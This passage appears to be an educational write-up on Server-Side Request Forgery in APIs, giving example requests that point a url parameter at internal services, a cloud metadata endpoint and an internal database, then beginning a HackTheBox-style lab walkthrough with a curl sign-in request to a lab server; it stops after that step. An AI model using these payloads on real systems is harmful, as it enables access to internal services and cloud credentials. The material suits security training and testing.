Server-Side Request Forgery (SSRF) is a vulnerability that allows an attacker to send unauthorized requests from a vulnerable server, often to internal or private network resources. When it occurs in APIs, SSRF can lead to a range of security issues, including exposure of sensitive internal data, unauthorized access to internal systems, and potential for further exploitation.

Common Scenarios of SSRF in APIs

  1. Internal Network Scanning
  2. Accessing Internal Metadata
  3. Exfiltrating Data
  4. Bypassing Firewall Rules
  5. Performing Unauthorized Actions

Attack Vectors

Examples

  1. Accessing Internal Services

    GET /api/resource?url=http://internal-service.local/admin
    

    If the API endpoint processes the url parameter without proper validation, it may allow access to internal services.

  2. Accessing Cloud Metadata

    GET /api/fetchData?url=http://169.254.169.254/latest/meta-data/
    

    Exploiting an API to access cloud instance metadata services that are typically accessible only from within the cloud provider's network.

  3. Exfiltrating Data

    POST /api/submit
    Content-Type: application/json
    
    {
      "url": "<http://internal-db.local/data>"
    }
    

    Using the API to retrieve sensitive data from internal databases.

SSRF Exploitation in API

1. Authentication

To begin with, we authenticate by sending a POST request to the /api/v1/authentication/suppliers/sign-in endpoint using valid credentials to obtain a JSON Web Token (JWT).

Request:

curl -X POST \\\\
  '<http://94.237.59.199:30544/api/v1/authentication/suppliers/sign-in>' \\\\
  -H 'accept: application/json' \\\\
  -H 'Content-Type: application/json' \\\\
  -d '{
  "Email": "[email protected]",
  "Password": "HTBPentester11"
}' | jq .